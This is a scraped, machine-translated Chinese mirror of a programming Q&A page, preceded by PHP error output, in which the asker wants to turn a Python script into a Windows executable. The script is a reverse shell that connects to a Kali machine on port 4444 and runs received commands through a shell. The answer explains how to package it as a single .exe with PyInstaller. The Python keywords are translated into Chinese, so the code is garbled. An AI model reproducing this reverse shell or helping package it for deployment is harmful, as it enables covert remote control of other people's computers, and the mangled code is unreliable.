Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/365.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/0/windows/14.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
如何使python文件在windows上可执行?_Python_Windows_File_Reverse Shell - Fatal编程技术网

如何使python文件在windows上可执行?

如何使python文件在windows上可执行?,python,windows,file,reverse-shell,Python,Windows,File,Reverse Shell,#!/usr/bin/python 导入子流程 导入套接字 sock=socket.socket(socket.AF\u INET,socket.sock\u流) sock.connect(((“192.168.1.7”,4444))#第一个参数是您的kali linux机器的IP地址 尽管如此: command=sock.recv(2048) 如果命令==“q”: 打破 其他: proc=subprocess.Popen(命令,shell=True,stdout=subprocess.PIPE

#!/usr/bin/python

导入子流程 导入套接字

sock=socket.socket(socket.AF\u INET,socket.sock\u流) sock.connect(((“192.168.1.7”,4444))#第一个参数是您的kali linux机器的IP地址

尽管如此: command=sock.recv(2048) 如果命令==“q”: 打破 其他: proc=subprocess.Popen(命令,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE) 结果=proc.stdout.read()+proc.stderr.read() sock.send(结果)


sock.close()

我建议使用PyInstaller工具。你可以找到这些文件

我建议首先阅读 模块本身的文档

您还可以使用一些教程(例如Matt Borgerson的教程)

为了重述,您应该:

写下你的脚本,确保它能正常工作

从命令行运行:

~\py安装程序您的\u文件\u name.py

此命令将生成一个your_file_name.spec文件,您可以在其中包含应用程序和任何自定义 设置(使用等级库文件)

一旦决定了.exe应用程序中要包含的内容,就可以从命令行运行

~\pyinstaller[option1][option2]您的\u文件\u name.py

您可以在文档中找到选项的完整列表

--onefile:创建一个单文件绑定的可执行文件

--windowed:在Mac OS X或Windows中编译时选择的参数 --图标=:选择要用作文件图标的文件


这回答了你的问题吗?您想创建一个独立的
.exe
文件,还是使用
#以
/script.py
的身份运行脚本/usr/bin/python
shebang何时在Linux/Mac上运行?